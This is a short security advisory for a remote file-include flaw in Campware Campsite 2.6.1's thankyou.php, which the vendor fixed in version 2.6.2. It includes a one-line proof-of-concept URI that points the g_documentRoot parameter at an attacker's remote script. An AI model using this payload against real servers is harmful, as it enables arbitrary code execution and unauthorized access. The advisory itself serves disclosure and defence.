Campware Campsite Thankyou.PHP Remote File Include Vulnerability

Bugtraq ID:	20519
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 16 2006 12:00AM
Updated:	Nov 14 2006 03:41PM
Credit:	Kw3[R]Ln is credited with the discovery of this vulnerability.
Vulnerable:	Campware Campsite 2.6.1
Not Vulnerable:	Campware Campsite 2.6.2

Campware Campsite Thankyou.PHP Remote File Include Vulnerability

CampSite is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

CampSite 2.6.1 and prior versions are vulnerable to this issue.

Campware Campsite Thankyou.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/[path]/implementation/management/priv/bugreporter/thankyou.php?g_documentRoot=[Evil_Script]

Campware Campsite Thankyou.PHP Remote File Include Vulnerability

Solution:
The vendor has released version 2.6.2 to address this issue. Please see the references for more information.


Campware Campsite 2.6.1

• Campware Campsite 2.6.2
  http://sourceforge.net/project/showfiles.php?group_id=66936

Campware Campsite Thankyou.PHP Remote File Include Vulnerability

References:

• Campsite 2.6.2 Released (Campware)
  
• Vendor Homepage (Campware)